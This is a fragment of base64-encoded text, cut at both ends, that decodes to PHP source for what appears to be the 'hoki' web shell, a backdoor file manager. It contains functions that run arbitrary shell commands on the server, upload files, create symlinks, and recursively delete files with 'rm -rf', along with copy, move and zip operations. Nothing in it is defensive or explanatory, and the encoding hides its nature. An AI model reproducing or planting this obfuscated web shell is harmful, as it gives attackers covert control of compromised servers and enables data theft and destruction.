GZbImNsYXNzIl07CiRudW0gPSAkZlsibnVtIl07CiRodW1hbiA9ICRmWyJodW1hbiJdOwp9ZWxzZXsKJG51bSA9IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJGYpKSwtNCk7CiRodW1hbiA9IGhva2lQZXJtcyhAZmlsZXBlcm1zKCRmKSk7CmlmKCFAaXNfcmVhZGFibGUoJGYpKQokY2xhc3MgPSAibWFpbl9yZWRfcGVybSI7CmVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpCiRjbGFzcyA9ICJtYWluX3doaXRlX3Blcm0iOwplbHNlCiRjbGFzcyA9ICJtYWluX2dyZWVuX3Blcm0iOwp9CnJldHVybiAnPHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9IicuJGNsYXNzLiciPicuJG51bS4nPC9zcGFuPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJiZWV0d2Vlbl9wZXJtcyI+ID4+IDwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0iJy4kY2xhc3MuJyI+Jy4kaHVtYW4uJzwvc3Bhbj4nOwp9CmlmKCFmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewpmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsKJGRoID0gb3BlbmRpcigkZGlyKTsKd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkKJGZpbGVzW10gPSAkZmlsZW5hbWU7CnJldHVybiAkZmlsZXM7Cn0KfQpmdW5jdGlvbiByZUFycmF5RmlsZXMoJGZpbGVfcG9zdCl7CiRmaWxlX2FyeSA9IGFycmF5KCk7CiRmaWxlX2NvdW50ID0gY291bnQoJGZpbGVfcG9zdFsnbmFtZSddKTsKJGZpbGVfa2V5cyA9IGFycmF5X2tleXMoJGZpbGVfcG9zdCk7CmZvciAoJGk9MDsgJGk8JGZpbGVfY291bnQ7ICRpKyspIHsKZm9yZWFjaCAoJGZpbGVfa2V5cyBhcyAka2V5KSB7CiRmaWxlX2FyeVskaV1bJGtleV0gPSAkZmlsZV9wb3N0WyRrZXldWyRpXTsKfQp9CnJldHVybiAkZmlsZV9hcnk7Cn0KZnVuY3Rpb24gX2hva2lfY2FuX3J1bkNvbW1hbmQoJGNnaT10cnVlLCRjYWNoZT10cnVlKXsKCWlmKGlzc2V0KCRfQ09PS0lFWyJob2tpX2NhbnJ1bmNtZCJdKSYmJGNhY2hlKXsKCQlyZXR1cm4gdHJ1ZTsKCX0KCWlmKHN0cmxlbihob2tpRXgoIndob2FtaSIsZmFsc2UsJGNnaSkpPjApewoJCSRfQ09PS0lFWyJob2tpX2NhbnJ1bmNtZCJdID0gdHJ1ZTsKCQlyZXR1cm4gdHJ1ZTsKCX0KCXJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBfaG9raV9zeW1saW5rKCR0YXJnZXQsICRsaW5rKXsKCSRwaHBzeW0gPSBmdW5jdGlvbl9leGlzdHMoInN5bWxpbmsiKTsKCWlmKCRwaHBzeW0pewoJCUBzeW1saW5rKCR0YXJnZXQsICRsaW5rKTsKCX1lbHNlewoJCWhva2lFeCgibG4gLXMgJyIuYWRkc2xhc2hlcygkdGFyZ2V0KS4iJyAnIi5hZGRzbGFzaGVzKCRsaW5rKS4iJyIpOwoJfQp9CmZ1bmN0aW9uIF9ob2tpX2ZpbGVfZXhpc3RzKCRmaWxlLCRjZ2k9dHJ1ZSl7CglpZihAZmlsZV9leGlzdHMoJGZpbGUpKXsKCQlyZXR1cm4gdHJ1ZTsKCX1lbHNlewoJCWlmKHN0cmxlbihob2tpRXgoImxzIC1sYSAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyIsZmFsc2UsJGNnaSkpPjApewoJCQlyZXR1cm4gdHJ1ZTsKCQl9Cgl9CglyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gX2hva2lfZmlsZSgkZmlsZSwkY2dpPXRydWUpewoJJGFycmF5ID0gQGZpbGUoJGZpbGUpOwoJaWYoISRhcnJheSl7CgkJaWYoc3RybGVuKGhva2lFeCgiaWQiLGZhbHNlLCRjZ2kpKT4wKXsKCQkJJGRhdGEgPSBob2tpRXgoJ2NhdCAiJy5hZGRzbGFzaGVzKCRmaWxlKS4nIicsZmFsc2UsJGNnaSk7CgkJCWlmKHN0cmxlbigkZGF0YSk+MCl7CgkJCQlyZXR1cm4gZXhwbG9kZSgiXG4iLCAkZGF0YSk7CgkJCX1lbHNlewoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfWVsc2V7CgkJCXJldHVybiBmYWxzZTsKCQl9Cgl9ZWxzZXsKCQlyZXR1cm4gJGFycmF5OwoJfQp9CmZ1bmN0aW9uIF9ob2tpX2lzX3dyaXRhYmxlKCRmaWxlKXsKCSRjaGVjayA9IGZhbHNlOwoJJGNoZWNrID0gQGlzX3dyaXRhYmxlKCRmaWxlKTsKCWlmKCEkY2hlY2spewoJCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKCkpewoJCQkkY2hlY2sgPSBob2tpRXgoJ1sgLXcgIicudHJpbShhZGRzbGFzaGVzKCRmaWxlKSkuJyIgXSAmJiBlY2hvICJ5ZXMiIHx8IGVjaG8gIm5vIicpOwoJCQlpZigkY2hlY2sgPT0gInllcyIpewoJCQkJJGNoZWNrID0gdHJ1ZTsKCQkJfWVsc2V7CgkJCQkkY2hlY2sgPSBmYWxzZTsKCQkJfQoJCX0KCX0KCXJldHVybiAkY2hlY2s7Cn0KZnVuY3Rpb24gX2hva2lfaXNfZGlyKCRkaXIsJG1vZGU9Ii1kIil7CgkkY2hlY2sgPSBmYWxzZTsKCSRjaGVjayA9IEBpc19kaXIoJGRpcik7CglpZigkbW9kZSA9PSAiLWUiKXsKCQkkY2hlY2sgPSBAaXNfZmlsZSgkZGlyKTsKCX0KCWlmKCEkY2hlY2spewoJCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKCkpewoJCQkkY2hlY2sgPSBob2tpRXgoJ1sgIicudHJpbSgkbW9kZSkuJyIgIicudHJpbShhZGRzbGFzaGVzKCRkaXIpKS4nIiBdICYmIGVjaG8gInllcyIgfHwgZWNobyAibm8iJyk7CgkJCWlmKCRjaGVjayA9PSAieWVzIil7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfWVsc2V7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9Cgl9CglyZXR1cm4gJGNoZWNrOwp9CmZ1bmN0aW9uIF9ob2tpX2xvYWRfYWNlX29wdGlvbnMoJGJhc2UpewoJcmV0dXJuICc8c3Bhbj5UaGVtZTogPC9zcGFuPjxzZWxlY3QgY2xhc3M9ImFjZS1jb250cm9sZXIgYWNlLXRoZW1lLXNlbGVjdG9yIiBiYXNlPSInLiRiYXNlLiciIG9uQ2hhbmdlPSJob2tpQWNlQ2hhbmdlU2V0dGluZyh0aGlzLFwndGhlbWVcJyk7Ij48b3B0aW9uIHZhbHVlPSJ0ZXJtaW5hbCIgc2VsZWN0ZWQ+dGVybWluYWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbWJpYW5jZSI+YW1iaWFuY2U8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjaGFvcyI+Y2hhb3M8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjaHJvbWUiPmNocm9tZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNsb3VkcyI+Y2xvdWRzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY2xvdWRzX21pZG5pZ2h0Ij5jbG91ZHNfbWlkbmlnaHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJjb2JhbHQiPmNvYmFsdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNyaW1zb25fZWRpdG9yIj5jcmltc29uX2VkaXRvcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRhd24iPmRhd248L29wdGlvbj48b3B0aW9uIHZhbHVlPSJkcmFjdWxhIj5kcmFjdWxhPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZHJlYW13ZWF2ZXIiPmRyZWFtd2VhdmVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZWNsaXBzZSI+ZWNsaXBzZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImdpdGh1YiI+Z2l0aHViPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZ29iIj5nb2I8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJncnV2Ym94Ij5ncnV2Ym94PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iaWRsZV9maW5nZXJzIj5pZGxlX2ZpbmdlcnM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJpcGxhc3RpYyI+aXBsYXN0aWM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrYXR6ZW5taWxjaCI+a2F0emVubWlsY2g8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrcl90aGVtZSI+a3JfdGhlbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJrdXJvaXIiPmt1cm9pcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Im1lcmJpdm9yZSI+bWVyYml2b3JlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWVyYml2b3JlX3NvZnQiPm1lcmJpdm9yZV9zb2Z0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibW9ub19pbmR1c3RyaWFsIj5tb25vX2luZHVzdHJpYWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtb25va2FpIj5tb25va2FpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibm9yZF9kYXJrIj5ub3JkX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwYXN0ZWxfb25fZGFyayI+cGFzdGVsX29uX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzb2xhcml6ZWRfZGFyayI+c29sYXJpemVkX2Rhcms8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzb2xhcml6ZWRfbGlnaHQiPnNvbGFyaXplZF9saWdodDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNxbHNlcnZlciI+c3Fsc2VydmVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idGV4dG1hdGUiPnRleHRtYXRlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3ciPnRvbW9ycm93PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHQiPnRvbW9ycm93X25pZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfYmx1ZSI+dG9tb3Jyb3dfbmlnaHRfYmx1ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InRvbW9ycm93X25pZ2h0X2JyaWdodCI+dG9tb3Jyb3dfbmlnaHRfYnJpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idG9tb3Jyb3dfbmlnaHRfZWlnaHRpZXMiPnRvbW9ycm93X25pZ2h0X2VpZ2h0aWVzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idHdpbGlnaHQiPnR3aWxpZ2h0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idmlicmFudF9pbmsiPnZpYnJhbnRfaW5rPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ieGNvZGUiPnhjb2RlPC9vcHRpb24+PC9zZWxlY3Q+PHNwYW4+TGFuZ3VhZ2U6IDwvc3Bhbj48c2VsZWN0IGNsYXNzPSJhY2UtY29udHJvbGVyIiBiYXNlPSInLiRiYXNlLiciIG9uQ2hhbmdlPSJob2tpQWNlQ2hhbmdlU2V0dGluZyh0aGlzLFwnbGFuZ1wnKTsiPjxvcHRpb24gdmFsdWU9InBocCI+cGhwPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icHl0aG9uIj5weXRob248L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwZXJsIj5wZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY19jcHAiPmMvYysrPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iY3NoYXJwIj5jIzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InJ1YnkiPnJ1Ynk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJodG1sIj5odG1sPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iamF2YXNjcmlwdCI+amF2YXNjcmlwdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImNzcyI+Y3NzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ieG1sIj54bWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzcWwiPnNxbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InN3aWZ0Ij5zd2lmdDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNoIj5iYXNoPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibHVhIj5sdWE8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3dlcnNoZWxsIj5wb3dlcnNoZWxsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ianNwIj5qc3A8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJqYXZhIj5qYXZhPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ianNvbiI+anNvbjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InBsYWluX3RleHQiPnBsYWluX3RleHQ8L29wdGlvbj48L3NlbGVjdD48c3Bhbj5Tb2Z0IFdyYXA6IDwvc3Bhbj48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9IndyYXBtb2RlIiBjbGFzcz0iYWNlLWNvbnRyb2xlciIgb25DbGljaz0iaG9raUFjZUNoYW5nZVdyYXBNb2RlKHRoaXMsXCcnLiRiYXNlLidcJyk7IiBjaGVja2VkPiB8IDxzcGFuPkZvbnQgU2l6ZTogPC9zcGFuPjxidXR0b24gY2xhc3M9ImFjZS1jb250cm9sZXIiIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9Imhva2lBY2VDaGFuZ2VGb250U2l6ZShcJycuJGJhc2UuJ1wnLFwnK1wnLCB0aGlzKTtyZXR1cm4gZmFsc2U7Ij4rPC9idXR0b24+IHwgPGJ1dHRvbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBjbGFzcz0iYWNlLWNvbnRyb2xlciIgb25jbGljaz0iaG9raUFjZUNoYW5nZUZvbnRTaXplKFwnJy4kYmFzZS4nXCcsIFwnLVwnLCB0aGlzKTtyZXR1cm4gZmFsc2U7Ij4tPC9idXR0b24+IHwgJzsKfQpmdW5jdGlvbiBob2tpRmlsZXNNYW4yKCl7Cglob2tpaGVhZCgpOwoJSG9raU51bSg4LDksMTAsNyw2LDUsNCk7CgllY2hvICc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiIGZtX2lkPSIxIiBpZD0iZmlsZXNtYW5faG9sZGVyXzEiIGNsYXNzPSJhamF4YXJlYSBmaWxlc21hbi1hY3RpdmUtY29udGVudCI+PGRpdiBjbGFzcz0iaGVhZGVyIj48L2Rpdj48L2Rpdj4nOwoJaG9raUZvb3RlcigpOwp9CmZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpewppZihAaXNfZGlyKCRjLiRzKSl7CkBta2RpcigkZC4kcyk7CiRoID0gQG9wZW5kaXIoJGMuJHMpOwp3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCmlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQpjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKfSBlbHNlaWYoaXNfZmlsZSgkYy4kcykpCkBjb3B5KCRjLiRzLCAkZC4kcyk7Cn0KZnVuY3Rpb24gaG9raUZpbGVzTWFuKCl7CmlmKCFlbXB0eSAoJF9DT09LSUVbJ2hva2lfZiddKSkKJF9DT09LSUVbJ2hva2lfZiddID0gQHVuc2VyaWFsaXplKCRfQ09PS0lFWydob2tpX2YnXSk7CmlmKCFlbXB0eSgkX1BPU1RbJ2hva2kxJ10pKXsKc3dpdGNoKCRfUE9TVFsnaG9raTEnXSl7CmNhc2UgJ3VwbG9hZEZpbGUnOgokbW92ZV9jbWRfZmlsZSA9IGZhbHNlOwokaG9raV9jYW5ydW5jbWQgPSBmYWxzZTsKaWYoJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXSl7CgkkaG9raV9jYW5ydW5jbWQgPSBfaG9raV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpOwoJJG1vdmVfY21kX2ZpbGUgPSB0cnVlOwp9CmlmKF9ob2tpX2lzX3dyaXRhYmxlKCRHTE9CQUxTWydjd2QnXSkpewokZmlsZXMgPSByZUFycmF5RmlsZXMoJF9GSUxFU1snZiddKTsKJHJldF9maWxlcyA9IGFycmF5KCk7CmZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKaWYoJG1vdmVfY21kX2ZpbGUmJiRob2tpX2NhbnJ1bmNtZCl7Cglob2tpRXgoImNhdCAnIi5hZGRzbGFzaGVzKCRmaWxlWyd0bXBfbmFtZSddKS4iJyA+ICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0uIi8iLiRmaWxlWyduYW1lJ10pLiInIik7Cn1lbHNlewoJaWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsndG1wX25hbWUnXSwkZmlsZVsnbmFtZSddKSl7CgkJJG93ID0gZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpJiZmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpP0Bwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlWyduYW1lJ10pKTphcnJheSgibmFtZSIgPT4gIj8/Pz8iKTsKCQkkZ3IgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGVbJ25hbWUnXSkpOmFycmF5KCJuYW1lIiA9PiAiPz8/PyIpOwoJCSRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkZmlsZVsnbmFtZSddKToiPz8/PyIpOwoJCSRmaWxlX2dyb3VwID0gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QGZpbGVncm91cCgkZmlsZVsnbmFtZSddKToiPz8/PyIpOwoJCSRmaWxlX21vZGlmeSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJGZpbGVbJ25hbWUnXSkpOwoJCSRmaWxlX3Blcm0gPSBob2tpUGVybXNDb2xvcigkZmlsZVsnbmFtZSddKTsKCQkkZmlsZV9zaXplID0gQGZpbGVzaXplKCRmaWxlWyduYW1lJ10pOwoJCSRyZXRfZmlsZXNbXSA9IGFycmF5KCJuYW1lIiA9PiAkZmlsZVsnbmFtZSddLCAic2l6ZSIgPT4gaG9raVNpemUoJGZpbGVfc2l6ZSksICJwZXJtIiA9PiAkZmlsZV9wZXJtLCAibW9kaWZ5IiA9PiAkZmlsZV9tb2RpZnksICJvd25lciIgPT4gJGZpbGVfb3duZXIuIi8iLiRmaWxlX2dyb3VwKTsKCX0KfQp9CmlmKCEkbW92ZV9jbWRfZmlsZSl7CgllY2hvIGpzb25fZW5jb2RlKCRyZXRfZmlsZXMpOwp9Cn1lbHNlewoJZWNobyAibm9wZXJtIjsKCXJldHVybjsKfQppZighJG1vdmVfY21kX2ZpbGUpewpyZXR1cm47Cn0KYnJlYWs7CmNhc2UgJ21rZGlyJzoKJG5ld19kaXJfY21kID0gZmFsc2U7CmlmKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10pewoJaWYoX2hva2lfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CgkJaWYoX2hva2lfaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSl7CgkJCWlmKCFfaG9raV9pc19kaXIodHJpbSgkX1BPU1RbJ2hva2kyJ10pKSl7CgkJCQlob2tpRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO21rZGlyICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2hva2kyJ10pKS4iJyIpOwoJCQkJZWNobyAiPHNjcmlwdD5ob2tpU2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOwoJCQl9ZWxzZXsKCQkJCWVjaG8gIjxzY3JpcHQ+aG9raVNob3dOb3RpZmljYXRpb24oJ2ZvbGRlciBhbHJlYWR5IGV4aXN0ZWQnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJCX0KCQl9ZWxzZXsKCQkJZWNobyAiPHNjcmlwdD5ob2tpU2hvd05vdGlmaWNhdGlvbignZm9sZGVyIGlzbnQgd3JpdGFibGUgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCQl9Cgl9ZWxzZXsKCQllY2hvICI8c2NyaXB0Pmhva2lTaG93Tm90aWZpY2F0aW9uKCdDYW5cJ3QgY3JlYXRlIG5ldyBkaXIgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCX0KfWVsc2V7CglpZihfaG9raV9pc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pKXsKCQlpZighX2hva2lfaXNfZGlyKHRyaW0oJF9QT1NUWydob2tpMiddKSkpewoJCQlpZighQG1rZGlyKHRyaW0oJF9QT1NUWydob2tpMiddKSkpewoJCQkJZWNobyAiPHNjcmlwdD5ob2tpU2hvd05vdGlmaWNhdGlvbignQ2FuXCd0IGNyZWF0ZSBuZXcgZGlyICEnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJCX1lbHNlewoJCQkJZWNobyAiPHNjcmlwdD5ob2tpU2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOwoJCQl9CgkJfWVsc2V7CgkJCWVjaG8gIjxzY3JpcHQ+aG9raVNob3dOb3RpZmljYXRpb24oJ2ZvbGRlciBhbHJlYWR5IGV4aXN0ZWQnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJfQoJfWVsc2V7CgkJZWNobyAiPHNjcmlwdD5ob2tpU2hvd05vdGlmaWNhdGlvbignZm9sZGVyIGlzbnQgd3JpdGFibGUgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCX0KfQpicmVhazsKY2FzZSAnZGVsZXRlJzoKZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKXsKJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsKJGRoID0gQG9wZW5kaXIoJHBhdGgpOwp3aGlsZSgoJGl0ZW0gPSBAcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpewokaXRlbSA9ICRwYXRoLiRpdGVtOwppZigoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSkKY29udGludWU7CiR0eXBlID0gQGZpbGV0eXBlKCRpdGVtKTsKaWYgKCR0eXBlID09ICJkaXIiKQpkZWxldGVEaXIoJGl0ZW0pOwplbHNlCkB1bmxpbmsoJGl0ZW0pOwp9CkBjbG9zZWRpcigkZGgpOwpAcm1kaXIoJHBhdGgpOwp9CmlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCmZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpewppZigkZiA9PSAnLi4nKQpjb250aW51ZTsKJGYgPSByYXd1cmxkZWNvZGUoJGYpOwppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCWhva2lFeCgicm0gLXJmICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10uJy8nLiRmKS4iJyIpOwoJfQp9ZWxzZXsKaG9raUV4KCJybSAtcmYgJyIuYWRkc2xhc2hlcygkZikuIiciLGZhbHNlLGZhbHNlKTsKaWYoQGlzX2RpcigkZikpCmRlbGV0ZURpcigkZik7CmVsc2UKQHVubGluaygkZik7Cn0KfQppZihAaXNfZGlyKHJhd3VybGRlY29kZShAJF9QT1NUWydob2tpMiddKSkmJnJhd3VybGRlY29kZShAJF9QT1NUWydob2tpMiddKSE9Jy4uJyl7CmRlbGV0ZURpcihyYXd1cmxkZWNvZGUoQCRfUE9TVFsnaG9raTInXSkpOwpob2tpRXgoInJtIC1yZiAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSkuIiciLGZhbHNlLGZhbHNlKTsKfWVsc2V7CkB1bmxpbmsocmF3dXJsZGVjb2RlKEAkX1BPU1RbJ2hva2kyJ10pKTsKfQppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKCSRzb3VyY2UgPSByYXd1cmxkZWNvZGUoQCRfUE9TVFsnaG9raTInXSk7CglpZigkc291cmNlIT0nLi4nJiYhZW1wdHkoJHNvdXJjZSkpewoJCWlmKF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCQlob2tpRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO3JtIC1yZiAnIi5hZGRzbGFzaGVzKCRzb3VyY2UpLiInIik7CgkJfQoJfQp9CmlmKGlzX2FycmF5KCRfUE9TVFsnZiddKSkKcmV0dXJuOwpicmVhazsKY2FzZSAncGFzdGUnOgppZigkX0NPT0tJRVsnaG9raV9hY3QnXSA9PSAnY29weScmJmlzc2V0KCRfQ09PS0lFWydob2tpX2YnXSkpewpmb3JlYWNoKCRfQ09PS0lFWydob2tpX2YnXSBhcyAkZikKY29weV9wYXN0ZSgkX0NPT0tJRVsnaG9raV9jJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7Cn1lbHNlaWYoJF9DT09LSUVbJ2hva2lfYWN0J10gPT0gJ21vdmUnJiZpc3NldCgkX0NPT0tJRVsnaG9raV9mJ10pKXsKZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CmlmKEBpc19kaXIoJGMuJHMpKXsKQG1rZGlyKCRkLiRzKTsKJGggPSBAb3BlbmRpcigkYy4kcyk7CndoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKaWYoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkKY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7Cn1lbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQpAY29weSgkYy4kcywgJGQuJHMpOwp9CmZvcmVhY2goJF9DT09LSUVbJ2hva2lfZiddIGFzICRmKQpAcmVuYW1lKCRfQ09PS0lFWydob2tpX2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKfWVsc2VpZigkX0NPT0tJRVsnaG9raV9hY3QnXSA9PSAnemlwJyYmaXNzZXQoJF9DT09LSUVbJ2hva2lfZiddKSl7CmlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiR6aXBYID0gImhva2lfIi5yYW5kKDEsMTAwMCkuIi56aXAiOwppZigkemlwLT5vcGVuKCR6aXBYLCAxKSl7CkBjaGRpcigkX0NPT0tJRVsnaG9raV9jJ10pOwpmb3JlYWNoKCRfQ09PS0lFWydob2tpX2YnXSBhcyAkZil7CmlmKCRmID09ICcuLicpY29udGludWU7CmlmKEBpc19maWxlKCRfQ09PS0lFWydob2tpX2MnXS4kZikpCiR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2hva2lfYyddLiRmLCAkZik7CmVsc2VpZihAaXNfZGlyKCRfQ09PS0lFWydob2tpX2MnXS4kZikpewokaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nKSk7CmZvcmVhY2goJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSl7CiRrZXkgPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyxyZWFscGF0aCgka2V5KSk7CmlmKEBpc19kaXIoJGtleSkpewppZihpbl9hcnJheShzdWJzdHIoJGtleSwgc3RycnBvcygka2V5LCcvJykrMSksYXJyYXkoJy4nLCAnLi4nKSkpY29udGludWU7Cn1lbH